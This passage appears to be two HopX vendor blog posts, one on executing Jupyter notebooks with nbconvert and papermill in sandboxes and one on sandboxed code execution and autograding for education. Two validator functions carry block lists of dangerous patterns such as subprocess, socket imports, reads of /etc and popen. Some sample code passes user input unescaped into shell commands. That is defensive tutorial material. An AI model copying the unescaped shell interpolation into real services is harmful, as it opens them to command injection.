prevent abuse - Parallel execution at scale ## Basic Notebook Execution ### Using nbconvert The simplest way to execute a notebook: ```python from hopx import Sandbox import json sandbox = Sandbox.create(template="code-interpreter") # Create a sample notebook notebook = { "cells": [ { "cell_type": "code", "execution_count": None, "metadata": {}, "outputs": [], "source": ["import pandas as pd\n", "import numpy as np\n", "print('Libraries loaded')"] }, { "cell_type": "code", "execution_count": None, "metadata": {}, "outputs": [], "source": ["df = pd.DataFrame({'a': [1,2,3], 'b': [4,5,6]})\n", "print(df)"] }, { "cell_type": "code", "execution_count": None, "metadata": {}, "outputs": [], "source": ["result = df['a'].sum()\n", "print(f'Sum: {result}')"] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" } }, "nbformat": 4, "nbformat_minor": 4 } # Upload notebook sandbox.files.write("/app/analysis.ipynb", json.dumps(notebook)) # Execute with nbconvert result = sandbox.commands.run(""" cd /app && jupyter nbconvert --to notebook --execute analysis.ipynb --output executed.ipynb """) print("Execution status:", "Success" if result.exit_code == 0 else "Failed") print(result.stdout) ``` ### Extracting Results After execution, read the output notebook: ```python # Download executed notebook executed = sandbox.files.read("/app/executed.ipynb") executed_nb = json.loads(executed) # Extract outputs from each cell for i, cell in enumerate(executed_nb["cells"]): if cell["cell_type"] == "code": print(f"\n--- Cell {i} ---") print("Source:", "".join(cell["source"][:50])) for output in cell.get("outputs", []): if output["output_type"] == "stream": print("Output:", "".join(output["text"])) elif output["output_type"] == "execute_result": print("Result:", output["data"].get("text/plain", "")) ``` ## Papermill for Parameterized Notebooks [Papermill](https://papermill.readthedocs.io/) is the industry standard for parameterized notebook execution. ### Basic Papermill Usage ```python from hopx import Sandbox import json sandbox = Sandbox.create(template="code-interpreter") # Install papermill sandbox.commands.run("pip install papermill -q") # Create parameterized notebook notebook = { "cells": [ { "cell_type": "code", "metadata": {"tags": ["parameters"]}, # Parameters cell "source": ["# Parameters\n", "dataset_path = '/data/default.csv'\n", "threshold = 0.5"] }, { "cell_type": "code", "metadata": {}, "source": [ "import pandas as pd\n", "print(f'Loading: {dataset_path}')\n", "print(f'Threshold: {threshold}')" ] } ], "metadata": {"kernelspec": {"name": "python3"}}, "nbformat": 4, "nbformat_minor": 4 } sandbox.files.write("/app/template.ipynb", json.dumps(notebook)) # Execute with parameters result = sandbox.commands.run(""" papermill /app/template.ipynb /app/output.ipynb \ -p dataset_path "/data/sales_2024.csv" \ -p threshold 0.75 """) print(result.stdout) ``` ### Injecting Complex Parameters ```python # Parameters can be Python objects params = { "config": { "model": "random_forest", "features": ["age", "income", "score"], "hyperparams": {"n_estimators": 100, "max_depth": 10} }, "date_range": ["2024-01-01", "2024-12-31"] } # Write params as JSON sandbox.files.write("/app/params.json", json.dumps(params)) # Notebook loads params from file notebook_code = ''' import json with open('/app/params.json') as f: params = json.load(f) config = params['config'] date_range = params['date_range'] print(f"Model: {config['model']}") print(f"Features: {config['features']}") ''' ``` ## Building a Notebook Execution API ### FastAPI Notebook Runner ```python from fastapi import FastAPI, UploadFile, HTTPException from pydantic import BaseModel from hopx import Sandbox import json import base64 app = FastAPI() class NotebookRequest(BaseModel): notebook: str # Base64 encoded notebook parameters: dict = {} timeout: int = 300 class NotebookResponse(BaseModel): success: bool executed_notebook: str # Base64 encoded outputs: list error: str = None @app.post("/execute", response_model=NotebookResponse) async def execute_notebook(request: NotebookRequest): sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") # Decode and upload notebook notebook_content = base64.b64decode(request.notebook) sandbox.files.write("/app/input.ipynb", notebook_content) # Write parameters sandbox.files.write("/app/params.json", json.dumps(request.parameters)) # Execute result = sandbox.commands.run( "papermill /app/input.ipynb /app/output.ipynb -f /app/params.json", timeout=request.timeout ) if result.exit_code != 0: return NotebookResponse( success=False, executed_notebook="", outputs=[], error=result.stderr ) # Read executed notebook executed = sandbox.files.read("/app/output.ipynb") executed_nb = json.loads(executed) # Extract outputs outputs = [] for cell in executed_nb["cells"]: if cell["cell_type"] == "code": cell_outputs = [] for output in cell.get("outputs", []): cell_outputs.append({ "type": output["output_type"], "content": extract_output_content(output) }) outputs.append(cell_outputs) return NotebookResponse( success=True, executed_notebook=base64.b64encode(executed).decode(), outputs=outputs ) except Exception as e: raise HTTPException(status_code=500, detail=str(e)) finally: if sandbox: sandbox.kill() def extract_output_content(output): """Extract readable content from notebook output""" if output["output_type"] == "stream": return "".join(output.get("text", [])) elif output["output_type"] == "execute_result": data = output.get("data", {}) return data.get("text/plain", data.get("text/html", "")) elif output["output_type"] == "display_data": data = output.get("data", {}) if "image/png" in data: return {"type": "image", "data": data["image/png"]} return data.get("text/plain", "") elif output["output_type"] == "error": return { "ename": output.get("ename"), "evalue": output.get("evalue"), "traceback": output.get("traceback", []) } return str(output) ``` ### Scheduled Notebook Execution ```python import schedule import time from hopx import Sandbox import json from datetime import datetime class NotebookScheduler: def __init__(self): self.results = [] def run_notebook(self, notebook_path: str, params: dict): """Execute a notebook and store results""" sandbox = Sandbox.create(template="code-interpreter") try: # Upload notebook with open(notebook_path, "rb") as f: sandbox.files.write("/app/notebook.ipynb", f.read()) # Execute result = sandbox.commands.run( "papermill /app/notebook.ipynb /app/output.ipynb " + " ".join([f'-p {k} "{v}"' for k, v in params.items()]) ) # Store result self.results.append({ "timestamp": datetime.now().isoformat(), "notebook": notebook_path, "success": result.exit_code == 0, "output": result.stdout }) # Download output notebook output_name = f"output_{datetime.now().strftime('%Y%m%d_%H%M%S')}.ipynb" output_data = sandbox.files.read("/app/output.ipynb") with open(f"outputs/{output_name}", "wb") as f: f.write(output_data) return result.exit_code == 0 finally: sandbox.kill() def schedule_daily(self, notebook_path: str, params: dict, time_str: str): """Schedule notebook to run daily""" schedule.every().day.at(time_str).do( self.run_notebook, notebook_path, params ) def run(self): """Start the scheduler""" while True: schedule.run_pending() time.sleep(60) # Usage scheduler = NotebookScheduler() scheduler.schedule_daily( "reports/daily_metrics.ipynb", {"date": "today"}, "06:00" ) scheduler.run() ``` ## Handling Notebook Outputs ### Extracting Visualizations ```python from hopx import Sandbox import json import base64 sandbox = Sandbox.create(template="code-interpreter") # Notebook with matplotlib output notebook = { "cells": [ { "cell_type": "code", "metadata": {}, "source": [ "import matplotlib.pyplot as plt\n", "import numpy as np\n", "\n", "x = np.linspace(0, 10, 100)\n", "plt.figure(figsize=(10, 6))\n", "plt.plot(x, np.sin(x))\n", "plt.title('Sine Wave')\n", "plt.show()" ] } ], "metadata": {"kernelspec": {"name": "python3"}}, "nbformat": 4, "nbformat_minor": 4 } sandbox.files.write("/app/viz.ipynb", json.dumps(notebook)) # Execute sandbox.commands.run( "jupyter nbconvert --to notebook --execute viz.ipynb --output executed.ipynb", cwd="/app" ) # Extract images from output executed = json.loads(sandbox.files.read("/app/executed.ipynb")) images = [] for cell in executed["cells"]: for output in cell.get("outputs", []): if "image/png" in output.get("data", {}): img_data = output["data"]["image/png"] images.append(base64.b64decode(img_data)) # Save extracted images for i, img in enumerate(images): with open(f"figure_{i}.png", "wb") as f: f.write(img) print(f"Extracted {len(images)} images") ``` ### Capturing DataFrames ```python # Notebook cell that outputs a DataFrame notebook_code = ''' import pandas as pd import json df = pd.DataFrame({ 'product': ['A', 'B', 'C'], 'sales': [100, 150, 80], 'profit': [20, 45, 15] }) # Output as JSON for programmatic access print("__DATA_START__") print(df.to_json(orient='records')) print("__DATA_END__") # Also display nicely display(df) ''' # After execution, parse the output for cell in executed_nb["cells"]: for output in cell.get("outputs", []): if output["output_type"] == "stream": text = "".join(output["text"]) if "__DATA_START__" in text: start = text.index("__DATA_START__") + len("__DATA_START__") end = text.index("__DATA_END__") json_data = text[start:end].strip() data = json.loads(json_data) print("Extracted DataFrame:", data) ``` ## Error Handling ### Graceful Notebook Failures ```python from hopx import Sandbox import json def execute_notebook_safely(notebook_content: bytes, params: dict = None): """Execute notebook with comprehensive error handling""" sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/notebook.ipynb", notebook_content) if params: sandbox.files.write("/app/params.json", json.dumps(params)) cmd = "papermill /app/notebook.ipynb /app/output.ipynb -f /app/params.json" else: cmd = "jupyter nbconvert --execute --to notebook /app/notebook.ipynb --output output.ipynb" result = sandbox.commands.run(cmd, timeout=300) # Read output notebook even if execution failed try: output_nb = json.loads(sandbox.files.read("/app/output.ipynb")) except: output_nb = None # Check for cell errors errors = [] if output_nb: for i, cell in enumerate(output_nb.get("cells", [])): for output in cell.get("outputs", []): if output.get("output_type") == "error": errors.append({ "cell": i, "ename": output.get("ename"), "evalue": output.get("evalue"), "traceback": output.get("traceback", []) }) return { "success": result.exit_code == 0 and len(errors) == 0, "exit_code": result.exit_code, "stdout": result.stdout, "stderr": result.stderr, "notebook": output_nb, "errors": errors } except TimeoutError: return { "success": False, "error": "Notebook execution timed out", "errors": [{"type": "timeout"}] } except Exception as e: return { "success": False, "error": str(e), "errors": [{"type": "exception", "message": str(e)}] } finally: sandbox.kill() # Usage with open("analysis.ipynb", "rb") as f: result = execute_notebook_safely(f.read(), {"threshold": 0.5}) if not result["success"]: print("Execution failed!") for error in result["errors"]: print(f" Cell {error.get('cell', '?')}: {error.get('evalue', error)}") ``` ## Parallel Notebook Execution Run multiple notebooks simultaneously: ```python from hopx import Sandbox import concurrent.futures import json def run_single_notebook(notebook_path: str, params: dict): """Run one notebook in its own sandbox""" sandbox = Sandbox.create(template="code-interpreter") try: with open(notebook_path, "rb") as f: sandbox.files.write("/app/notebook.ipynb", f.read()) sandbox.files.write("/app/params.json", json.dumps(params)) result = sandbox.commands.run( "papermill /app/notebook.ipynb /app/output.ipynb -f /app/params.json", timeout=300 ) output = sandbox.files.read("/app/output.ipynb") return { "notebook": notebook_path, "params": params, "success": result.exit_code == 0, "output": output } finally: sandbox.kill() def run_notebooks_parallel(jobs: list[tuple[str, dict]], max_workers: int = 5): """Run multiple notebooks in parallel""" results = [] with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor: futures = { executor.submit(run_single_notebook, path, params): (path, params) for path, params in jobs } for future in concurrent.futures.as_completed(futures): path, params = futures[future] try: result = future.result() results.append(result) print(f"✓ Completed: {path}") except Exception as e: results.append({ "notebook": path, "params": params, "success": False, "error": str(e) }) print(f"✗ Failed: {path} - {e}") return results # Run 10 notebooks with different parameters jobs = [ ("analysis.ipynb", {"region": region}) for region in ["US", "EU", "APAC", "LATAM", "MEA"] ] results = run_notebooks_parallel(jobs, max_workers=5) print(f"Completed: {sum(1 for r in results if r['success'])}/{len(results)}") ``` ## Best Practices ### 1. Version Your Notebooks ```python # Add version metadata notebook["metadata"]["version"] = "1.2.0" notebook["metadata"]["last_modified"] = "2024-11-15" # Check version before execution if notebook["metadata"].get("version", "0.0.0") < "1.0.0": raise ValueError("Notebook version too old") ``` ### 2. Validate Inputs ```python def validate_notebook(content: bytes) -> bool: """Validate notebook before execution""" try: nb = json.loads(content) # Check format if nb.get("nbformat", 0) < 4: raise ValueError("Notebook format too old") # Check for required cells has_code = any(c["cell_type"] == "code" for c in nb["cells"]) if not has_code: raise ValueError("Notebook has no code cells") # Check for dangerous imports dangerous = ["os.system", "subprocess", "eval(", "exec("] for cell in nb["cells"]: source = "".join(cell.get("source", [])) for d in dangerous: if d in source: raise ValueError(f"Potentially dangerous code: {d}") return True except json.JSONDecodeError: raise ValueError("Invalid JSON") ``` ### 3. Resource Limits ```python # Set memory and time limits sandbox.commands.run( "timeout 300 jupyter nbconvert --execute notebook.ipynb", memory_limit="4G" ) ``` ### 4. Clean Output Notebooks ```python def clean_notebook_output(notebook: dict) -> dict: """Remove outputs for storage/version control""" cleaned = notebook.copy() for cell in cleaned["cells"]: if cell["cell_type"] == "code": cell["outputs"] = [] cell["execution_count"] = None return cleaned ``` ## Conclusion Running Jupyter notebooks in HopX sandboxes enables: - **Safe execution** of untrusted notebooks - **Scalable automation** with parallel execution - **Consistent environments** for reproducibility - **Programmatic access** to notebook outputs Whether you're building notebook-powered APIs, scheduling data science jobs, or processing user-submitted notebooks, sandboxed execution is the secure, scalable solution. ## Resources - [Papermill Documentation](https://papermill.readthedocs.io/) - [nbconvert Documentation](https://nbconvert.readthedocs.io/) - [Jupyter Notebook Format](https://nbformat.readthedocs.io/) - [HopX Documentation](https://hopx.ai/docs) --- ## HopX for Education: Safe Coding Environments for Students URL: https://hopx.ai/blog/use-cases/hopx-for-education-safe-coding-environments/ Category: Use Cases Published: 2025-11-15 # HopX for Education: Safe Coding Environments for Students Teaching programming requires students to run code. But running untrusted student code on shared infrastructure is a security nightmare. One student's infinite loop shouldn't crash the server. One malicious submission shouldn't access other students' data. HopX sandboxes provide isolated execution environments perfect for educational platforms—safe, scalable, and easy to integrate. ## The Challenge of Educational Code Execution **What can go wrong:** - Infinite loops consuming all CPU - Memory exhaustion (allocating huge arrays) - Fork bombs (spawning processes) - File system access (reading other students' submissions) - Network attacks from your infrastructure - Malicious code execution **Traditional solutions and their problems:** - **Docker containers**: Weak isolation, escape vulnerabilities - **Shared servers**: No isolation, one crash affects all - **Local execution only**: Can't verify, can't scale - **Manual review**: Doesn't scale, inconsistent ## HopX for Education Each student's code runs in its own micro-VM: - Complete isolation from other students - Complete isolation from your infrastructure - Resource limits (CPU, memory, time) - No network access by default - Instant cleanup after execution ## Building a Code Execution Platform ### Basic Code Runner ```python from hopx import Sandbox from dataclasses import dataclass from enum import Enum class Language(Enum): PYTHON = "python" JAVASCRIPT = "javascript" JAVA = "java" CPP = "cpp" @dataclass class ExecutionResult: success: bool stdout: str stderr: str exit_code: int execution_time: float memory_used: int = 0 class CodeRunner: LANGUAGE_CONFIG = { Language.PYTHON: { "template": "code-interpreter", "file": "solution.py", "command": "python solution.py" }, Language.JAVASCRIPT: { "template": "node", "file": "solution.js", "command": "node solution.js" }, Language.JAVA: { "template": "base", "file": "Solution.java", "command": "javac Solution.java && java Solution" }, Language.CPP: { "template": "base", "file": "solution.cpp", "command": "g++ -o solution solution.cpp && ./solution" } } def run( self, code: str, language: Language, stdin: str = "", timeout: int = 30, memory_limit: str = "256M" ) -> ExecutionResult: """Execute code safely in a sandbox""" config = self.LANGUAGE_CONFIG[language] sandbox = Sandbox.create( template=config["template"], memory_limit=memory_limit ) try: import time start = time.time() # Write code file sandbox.files.write(f"/app/{config['file']}", code) # Write stdin if provided if stdin: sandbox.files.write("/app/input.txt", stdin) command = f"cd /app && {config['command']} < input.txt" else: command = f"cd /app && {config['command']}" # Execute with timeout result = sandbox.commands.run(command, timeout=timeout) execution_time = time.time() - start return ExecutionResult( success=result.exit_code == 0, stdout=result.stdout, stderr=result.stderr, exit_code=result.exit_code, execution_time=execution_time ) except TimeoutError: return ExecutionResult( success=False, stdout="", stderr="Execution timed out", exit_code=-1, execution_time=timeout ) finally: sandbox.kill() # Usage runner = CodeRunner() result = runner.run( code='print("Hello, World!")', language=Language.PYTHON ) print(f"Output: {result.stdout}") print(f"Time: {result.execution_time:.2f}s") ``` ### Auto-Grading System ```python from dataclasses import dataclass from typing import List, Optional import json @dataclass class TestCase: input: str expected_output: str name: str = "" points: int = 1 hidden: bool = False @dataclass class TestResult: passed: bool test_case: TestCase actual_output: str error: Optional[str] = None @dataclass class GradeResult: total_points: int earned_points: int percentage: float test_results: List[TestResult] passed_count: int failed_count: int class AutoGrader: def __init__(self): self.runner = CodeRunner() def grade( self, code: str, language: Language, test_cases: List[TestCase], timeout_per_test: int = 5 ) -> GradeResult: """Grade a submission against test cases""" results = [] earned = 0 total = sum(tc.points for tc in test_cases) for test in test_cases: # Run code with test input execution = self.runner.run( code=code, language=language, stdin=test.input, timeout=timeout_per_test ) # Compare output actual = execution.stdout.strip() expected = test.expected_output.strip() passed = actual == expected if passed: earned += test.points results.append(TestResult( passed=passed, test_case=test, actual_output=actual if not test.hidden else "[hidden]", error=execution.stderr if execution.stderr else None )) return GradeResult( total_points=total, earned_points=earned, percentage=(earned / total * 100) if total > 0 else 0, test_results=results, passed_count=sum(1 for r in results if r.passed), failed_count=sum(1 for r in results if not r.passed) ) # Example: Grading a "Sum of Two Numbers" problem grader = AutoGrader() test_cases = [ TestCase(input="2 3", expected_output="5", name="Basic addition"), TestCase(input="0 0", expected_output="0", name="Zero case"), TestCase(input="-5 10", expected_output="5", name="Negative numbers"), TestCase(input="999999 1", expected_output="1000000", name="Large numbers", hidden=True), ] student_code = """ a, b = map(int, input().split()) print(a + b) """ result = grader.grade( code=student_code, language=Language.PYTHON, test_cases=test_cases ) print(f"Score: {result.earned_points}/{result.total_points} ({result.percentage:.1f}%)") for tr in result.test_results: status = "✓" if tr.passed else "✗" if not tr.test_case.hidden: print(f" {status} {tr.test_case.name}: {tr.actual_output}") ``` ### Interactive Coding Environment Build a web-based coding environment: ```python from fastapi import FastAPI, WebSocket from pydantic import BaseModel import asyncio import json app = FastAPI() class CodeRequest(BaseModel): code: str language: str stdin: str = "" @app.websocket("/ws/repl") async def interactive_repl(websocket: WebSocket): """Interactive Python REPL via WebSocket""" await websocket.accept() sandbox = Sandbox.create(template="code-interpreter") try: # Start interactive Python await websocket.send_json({"type": "ready", "message": "Python REPL ready"}) while True: data = await websocket.receive_json() if data["type"] == "execute": code = data["code"] # Execute code result = sandbox.commands.run(f'python -c "{code}"') await websocket.send_json({ "type": "result", "stdout": result.stdout, "stderr": result.stderr, "success": result.exit_code == 0 }) elif data["type"] == "reset": # Create fresh sandbox sandbox.kill() sandbox = Sandbox.create(template="code-interpreter") await websocket.send_json({"type": "reset_complete"}) except Exception as e: await websocket.send_json({"type": "error", "message": str(e)}) finally: sandbox.kill() @app.post("/api/run") async def run_code(request: CodeRequest): """Simple code execution endpoint""" runner = CodeRunner() language = Language(request.language) result = runner.run( code=request.code, language=language, stdin=request.stdin ) return { "stdout": result.stdout, "stderr": result.stderr, "success": result.success, "execution_time": result.execution_time } ``` ## Course Content Integration ### Embeddable Code Exercises ```python @dataclass class CodingExercise: id: str title: str description: str starter_code: str solution: str test_cases: List[TestCase] hints: List[str] language: Language = Language.PYTHON class ExerciseRunner: def __init__(self): self.grader = AutoGrader() def check_solution(self, exercise: CodingExercise, student_code: str) -> dict: """Check student solution against exercise""" result = self.grader.grade( code=student_code, language=exercise.language, test_cases=exercise.test_cases ) # Generate feedback feedback = [] for tr in result.test_results: if not tr.passed and not tr.test_case.hidden: feedback.append( f"Test '{tr.test_case.name}' failed: " f"expected '{tr.test_case.expected_output}', " f"got '{tr.actual_output}'" ) # Suggest hints if struggling hints_to_show = [] if result.percentage < 50 and len(exercise.hints) > 0: hints_to_show = exercise.hints[:1] # Show first hint return { "passed": result.percentage == 100, "score": result.percentage, "passed_tests": result.passed_count, "total_tests": len(result.test_results), "feedback": feedback, "hints": hints_to_show } # Example exercise exercise = CodingExercise( id="fibonacci-001", title="Fibonacci Sequence", description=""" Write a function `fibonacci(n)` that returns the nth Fibonacci number. - fibonacci(0) = 0 - fibonacci(1) = 1 - fibonacci(n) = fibonacci(n-1) + fibonacci(n-2) for n > 1 """, starter_code=""" def fibonacci(n): # Your code here pass # Read input and print result n = int(input()) print(fibonacci(n)) """, solution=""" def fibonacci(n): if n <= 1: return n a, b = 0, 1 for _ in range(n - 1): a, b = b, a + b return b n = int(input()) print(fibonacci(n)) """, test_cases=[ TestCase(input="0", expected_output="0", name="Base case 0"), TestCase(input="1", expected_output="1", name="Base case 1"), TestCase(input="5", expected_output="5", name="Small number"), TestCase(input="10", expected_output="55", name="Medium number"), TestCase(input="20", expected_output="6765", name="Larger number", hidden=True), ], hints=[ "Remember the base cases: fibonacci(0) = 0 and fibonacci(1) = 1", "Try using iteration instead of recursion for better performance", ] ) ``` ### Progress Tracking ```python from datetime import datetime from typing import Dict, Any class StudentProgress: def __init__(self, student_id: str): self.student_id = student_id self.submissions: List[Dict[str, Any]] = [] self.completed_exercises: set = set() def record_submission( self, exercise_id: str, code: str, result: dict ): """Record a submission attempt""" self.submissions.append({ "exercise_id": exercise_id, "code": code, "result": result, "timestamp": datetime.now().isoformat() }) if result["passed"]: self.completed_exercises.add(exercise_id) def get_stats(self) -> dict: """Get student statistics""" total_submissions = len(self.submissions) successful = sum(1 for s in self.submissions if s["result"]["passed"]) return { "total_submissions": total_submissions, "successful_submissions": successful, "success_rate": successful / total_submissions if total_submissions > 0 else 0, "completed_exercises": len(self.completed_exercises), "avg_attempts_per_exercise": total_submissions / len(self.completed_exercises) if self.completed_exercises else 0 } ``` ## Classroom Features ### Live Code Comparison Let instructors see all student code in real-time: ```python class ClassroomSession: def __init__(self, session_id: str, exercise: CodingExercise): self.session_id = session_id self.exercise = exercise self.student_code: Dict[str, str] = {} self.student_results: Dict[str, dict] = {} def update_code(self, student_id: str, code: str): """Update student's current code""" self.student_code[student_id] = code def submit(self, student_id: str, code: str) -> dict: """Submit and grade student code""" runner = ExerciseRunner() result = runner.check_solution(self.exercise, code) self.student_results[student_id] = result return result def get_class_progress(self) -> dict: """Get overall class progress""" total = len(self.student_results) if total == 0: return {"participants": 0} passed = sum(1 for r in self.student_results.values() if r["passed"]) avg_score = sum(r["score"] for r in self.student_results.values()) / total return { "participants": total, "completed": passed, "completion_rate": passed / total * 100, "average_score": avg_score, "struggling": [ sid for sid, r in self.student_results.items() if r["score"] < 50 ] } ``` ### Plagiarism Detection Basic code similarity checking: ```python import difflib def calculate_similarity(code1: str, code2: str) -> float: """Calculate similarity between two code submissions""" # Normalize code def normalize(code): lines = code.strip().split('\n') # Remove empty lines and comments lines = [l.strip() for l in lines if l.strip() and not l.strip().startswith('#')] return '\n'.join(lines) norm1 = normalize(code1) norm2 = normalize(code2) return difflib.SequenceMatcher(None, norm1, norm2).ratio() def check_plagiarism(submissions: Dict[str, str], threshold: float = 0.8) -> List[tuple]: """Check for similar submissions""" flagged = [] students = list(submissions.keys()) for i, s1 in enumerate(students): for s2 in students[i+1:]: similarity = calculate_similarity(submissions[s1], submissions[s2]) if similarity >= threshold: flagged.append((s1, s2, similarity)) return sorted(flagged, key=lambda x: x[2], reverse=True) # Usage submissions = { "student1": "def add(a, b):\n return a + b", "student2": "def add(a, b):\n return a + b # sum", "student3": "def sum_nums(x, y):\n result = x + y\n return result", } flagged = check_plagiarism(submissions) for s1, s2, sim in flagged: print(f"Possible plagiarism: {s1} and {s2} ({sim*100:.1f}% similar)") ``` ## Security Best Practices ### 1. Strict Resource Limits ```python sandbox = Sandbox.create( template="code-interpreter", memory_limit="256M", # Max memory cpu_limit=0.5, # Half CPU disk_limit="100M" # Max disk usage ) # Execute with timeout result = sandbox.commands.run(command, timeout=10) # 10 second max ``` ### 2. Input Validation ```python def validate_code(code: str, language: Language) -> tuple[bool, str]: """Validate code before execution""" # Check size if len(code) > 50000: # 50KB max return False, "Code too long" # Check for dangerous patterns dangerous = [ "import os", "import subprocess", "import socket", "open('/etc", "__import__", "eval(", "exec(", "system(", "popen(" ] for pattern in dangerous: if pattern in code: return False, f"Forbidden pattern: {pattern}" return True, "OK" ``` ### 3. Network Isolation ```python # Sandboxes have no network access by default # This prevents: # - Downloading malicious code # - Attacking external services # - Data exfiltration sandbox = Sandbox.create( template="code-interpreter", network=False # Explicitly disable network ) ``` ### 4. File System Protection ```python # Each sandbox has isolated filesystem # Students can't: # - Read other students' code # - Access system files # - Persist data between runs # Optional: provide read-only data files sandbox.files.write("/data/dataset.csv", data, readonly=True) ``` ## LMS Integration ### API for Learning Management Systems ```python from fastapi import FastAPI, Header, HTTPException import hmac import hashlib app = FastAPI() def verify_lms_signature(payload: bytes, signature: str, secret: str) -> bool: """Verify webhook signature from LMS""" expected = hmac.new(secret.encode(), payload, hashlib.sha256).hexdigest() return hmac.compare_digest(signature, expected) @app.post("/lms/submit") async def lms_submission( student_id: str, assignment_id: str, code: str, x_lms_signature: str = Header(None) ): """Handle submission from LMS""" # Verify signature # ... # Get assignment config assignment = get_assignment(assignment_id) # Grade grader = AutoGrader() result = grader.grade( code=code, language=assignment.language, test_cases=assignment.test_cases ) # Return grade to LMS return { "student_id": student_id, "assignment_id": assignment_id, "score": result.percentage, "passed": result.percentage >= assignment.passing_score, "feedback": generate_feedback(result) } ``` ## Scaling Considerations ### Handling Many Simultaneous Submissions ```python import asyncio from concurrent.futures import ThreadPoolExecutor class ScalableGrader: def __init__(self, max_concurrent: int = 50): self.executor = ThreadPoolExecutor(max_workers=max_concurrent) self.grader = AutoGrader() async def grade_batch( self, submissions: List[tuple[str, str, Language, List[TestCase]]] ) -> List[tuple[str, GradeResult]]: """Grade multiple submissions concurrently""" loop = asyncio.get_event_loop() async def grade_one(student_id, code, language, tests): result = await loop.run_in_executor( self.executor, self.grader.grade, code, language, tests ) return (student_id, result) tasks = [ grade_one(sid, code, lang, tests) for sid, code, lang, tests in submissions ] return await asyncio.gather(*tasks) # Usage grader = ScalableGrader(max_concurrent=100) # Grade 500 submissions submissions = [ (f"student_{i}", code, Language.PYTHON, test_cases) for i in range(500) ] results = await grader.grade_batch(submissions) ``` ## Conclusion HopX sandboxes enable educational platforms to: - **Run untrusted code safely** - Complete isolation per student - **Scale to thousands** - Parallel execution without infrastructure concerns - **Auto-grade reliably** - Consistent environments for fair grading - **Protect everyone** - No student can affect another Build the next generation of coding education with secure, scalable execution. ## Resources - [HopX Documentation](https://hopx.ai/docs) - [Building Online Judges](https://en.wikipedia.org/wiki/Online_judge) - [LTI Integration Guide](https://www.imsglobal.org/activity/learning-tools-interoperability) - [Computer Science Education Research](https://dl.acm.org/journal/toce) ---